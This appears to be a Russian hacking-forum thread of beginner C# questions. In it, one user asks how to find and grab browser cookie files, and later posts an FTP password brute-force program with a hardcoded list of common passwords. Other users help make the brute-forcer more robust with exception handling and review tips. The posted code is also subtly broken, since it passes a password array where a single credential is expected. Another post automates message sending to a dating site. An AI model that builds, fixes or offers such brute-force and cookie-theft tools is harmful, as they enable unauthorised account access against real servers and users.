[ C# / Java ] — начинающим: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by procedure, 2 Nov 2008.

  1. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    группы посмотри
     
  2. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    ([0-9]{3})
    ooops...
     
  3. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    шик :)
    спс
     
  4. j-prof

    j-prof Banned

    Joined:
    29 Aug 2010
    Messages:
    321
    Likes Received:
    11
    Reputations:
    -4
    как узнать програмно путь до кукисов браузера на c#
    гдето я слышал что можно так
     
  5. j-prof

    j-prof Banned

    Joined:
    29 Aug 2010
    Messages:
    321
    Likes Received:
    11
    Reputations:
    -4
    а и исчо блин когда компилирую появляется exe и .application как получить чистый экзышник
    и как права не знаю повысить у мя
    когда оно куки пытается скачать от ие
    пишет что нет доступа
     
    #685 j-prof, 10 Oct 2010
    Last edited: 10 Oct 2010
  6. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Всем привет :)
    Например, я пользуюсь браузером Opera, как средствами C# анализировать html код из браузера Opera и выполнять какие либо действия?
     
  7. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Тут совсем другое :) Мне именно нужно из браузера перехватить.
    Например через браузер обратится на html страницу
    PHP:
    <title>TEST!!</title>
    .......
    .....
    ...
    Мне нужно перехватить <title> и выполнит дейстие, например вывести сообщения :)
    Как из программы обратиться к html страницы , я знаю
     
  8. j-prof

    j-prof Banned

    Joined:
    29 Aug 2010
    Messages:
    321
    Likes Received:
    11
    Reputations:
    -4
    ну тык снифить трафик надо
     
  9. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    System.Windows.Forms.WebBrowser не?
    или нужно именно на опере?
     
  10. j-prof

    j-prof Banned

    Joined:
    29 Aug 2010
    Messages:
    321
    Likes Received:
    11
    Reputations:
    -4
    а чо на щот моего вопроса
     
  11. j-prof

    j-prof Banned

    Joined:
    29 Aug 2010
    Messages:
    321
    Likes Received:
    11
    Reputations:
    -4
    а кста можно сделать так чтоб прога следила за
    тайтлом окна оперы на вин.апи или типа того
     
    #691 j-prof, 10 Oct 2010
    Last edited: 10 Oct 2010
  12. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    именно в опере
    ======================
    Не могу понять, почему не отправляет сообщения?
    PHP:
     public string Request()
            {
                
    HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://wap.love.mail.ru/?area=newMessage&searchPosition=1&login=roran");
                
    httpWebRequest.AllowAutoRedirect true;
                
    httpWebRequest.CookieContainer = new CookieContainer();
                if (
    Cooks != null)
                {
                    
    //Добавляем к нашему запросу ранее сохраненную сессию
                    
    httpWebRequest.CookieContainer.Add(Cooks);
                }
                
                
    // Следующие строки итак понятны
                
    httpWebRequest.Method "POST";
                
    //httpWebRequest.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10";
                //httpWebRequest.Referer = "http://wap.love.mail.ru/?area=newMessage&searchPosition=1&login=gebez445rovu32&group=roran";
                
    httpWebRequest.ContentType "application/x-www-form-urlencoded";
                
    // Переть тем как заполнять поля формы, текст конвертируем в байты
                
    byte[] ByteQuery System.Text.Encoding.ASCII.GetBytes("message=dfgdfgdfg");
                
    // Длинна запроса (обязательный параметр)
                
    httpWebRequest.ContentLength ByteQuery.Length;
                
    // Открываем поток для записи
                
    Stream QueryStream httpWebRequest.GetRequestStream();
                
    // Записываем в поток (это и есть POST запрос(заполнение форм))
                
    QueryStream.Write(ByteQuery0ByteQuery.Length);
                
    // Закрываем поток
                
    QueryStream.Close();

                
    HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
                
    httpWebResponse.Cookies httpWebRequest.CookieContainer.GetCookies(httpWebRequest.RequestUri);
                if (
    httpWebResponse.Cookies != null)
                {
                    
    //Обновляем сессию
                    
    Cooks.Add(httpWebResponse.Cookies);
                }

                
    Stream stream httpWebResponse.GetResponseStream();
                
    StreamReader reader = new StreamReader(stream);
               
    /* bool match = Regex.IsMatch(reader.ReadToEnd(), "Ваше сообщение отправлено!");
               if (match)
                {
                    textBox1.AppendText("[+] " + nick + "\r\n");
                }
                else
                {
                    textBox1.AppendText("[-] " + nick + "\r\n");
                }*/
               //textBox1.AppendText(reader.ReadToEnd());
                
    return reader.ReadToEnd();
                
            }
    Помогите пожалуйста разобраться :(
     
  13. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    mts78;654321

    [​IMG]
     
  14. j-prof

    j-prof Banned

    Joined:
    29 Aug 2010
    Messages:
    321
    Likes Received:
    11
    Reputations:
    -4
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Net;
    using System.Security.Permissions;
    using System.IO;

    namespace ConsoleApplication8
    {
    class Program
    {
    static void Main(string[] args)
    {


    string v = "0.0.1.0";
    string port;
    string host;
    string login;
    string[] pass = {"admin" , "100500" , "123456" , "pass" , "100500" , "passwd" , "qwerty"};
    Console.WriteLine("FTPbrute"+ " v"+ v);
    Console.WriteLine("code by dj100500");
    Console.Write("(bla.ru) host:");

    host = Console.ReadLine();
    if (host == "")
    {
    Console.Write("enter host:");
    host = Console.ReadLine();
    }
    Console.Write("port:");
    port = Console.ReadLine();
    if (port == "")
    {
    port = "21";
    }
    Console.Write("login");
    login = Console.ReadLine();
    if (login == "")
    {
    login = "admin";
    }
    Console.WriteLine("host:" + host + "port:" + "login:" + login);


    for (var i = 0; i < pass.Length; i++)
    {


    FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://" + host + ":" + port + "/test.txt");
    request.Method = WebRequestMethods.Ftp.UploadFile;


    request.Credentials = new NetworkCredential(login, pass);


    StreamReader sourceStream = new StreamReader(@"D:\test.txt");
    byte[] fileContents = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd());
    sourceStream.Close();
    request.ContentLength = fileContents.Length;
    Stream requestStream = request.GetRequestStream();
    requestStream.Write(fileContents, 0, fileContents.Length);
    requestStream.Close();

    FtpWebResponse response = (FtpWebResponse)request.GetResponse();


    Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription);

    response.Close();
    Console.ReadKey();


    }
    }





    }

    }


    эй парни помогите , как сделать так чтоб
    не вылетала при неверном пароле ХЕЛП
    понять не могу
     
  15. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    http://msdn.microsoft.com/ru-ru/library/0yd65esw.aspx :confused:
     
  16. Bers

    Bers Member

    Joined:
    17 May 2010
    Messages:
    78
    Likes Received:
    30
    Reputations:
    26
    Ловить исключения и не писать говнокод. Обычно этого хватает.
     
  17. j-prof

    j-prof Banned

    Joined:
    29 Aug 2010
    Messages:
    321
    Likes Received:
    11
    Reputations:
    -4
    исключения ловить try - catch?какой параметр писать?
    а на счёт говнокода учу язык 3 день;)ток
     
  18. Irdis

    Irdis Elder - Старейшина

    Joined:
    6 Feb 2006
    Messages:
    248
    Likes Received:
    52
    Reputations:
    3
    Когда всё равно какой эксепшн.
    Ну а если хочешь труЪ, смотри эксепшены которые бросают методы в блоке try, и корректно на них реагируй.
     
  19. j-prof

    j-prof Banned

    Joined:
    29 Aug 2010
    Messages:
    321
    Likes Received:
    11
    Reputations:
    -4
    ура пасиб чувак :)
    прост не допёрло что можно без параметров писать
    ксати чем исчо говняный код :confused:
     
  20. Bers

    Bers Member

    Joined:
    17 May 2010
    Messages:
    78
    Likes Received:
    30
    Reputations:
    26
    примерно так:
    PHP:
    try
    {
    var 
    request = (FtpWebRequest)WebRequest.Create(...);
    ....
    var 
    response = (FtpWebResponse)request.GetResponse();
    }
    catch(
    WebException e)
    {
      
    Console.WriteLine(e.Message);
    }
    catch(
    Exception)
    {
      
    Console.WriteLine("Fuck!");
    }
    плюс еще как минимум нужна валидация ввода. у тебя можно ввести в качестве порта не число, тогда адрес, передаваемый в WebRequest.Create(), будет некорректным.

    PHP:
    if (host == "")
    лучше заменить на
    PHP:
    if (string.IsNullOrEmpty(host))
    StreamReader оборачивать в using:
    PHP:
    using(var sourceStream = new StreamReader(@"D:\test.txt"))
    {
       ...
    }
    FtpWebResponse тоже в юзинг.
    PHP:
    using(var response = (FtpWebResponse)request.GetResponse())
    {
      
    Console.WriteLine("Upload File Complete, status {0}"response.StatusDescription);
    }
    Code:
    "ftp://" + host + ":" + port + "/test.txt"
    заменить на
    Code:
    string.Format("ftp://{0}:{1}/test.txt", host, port)
     
Loading...
Similar Threads - Java начинающим задаем
  1. b3
    Replies:
    4
    Views:
    3,160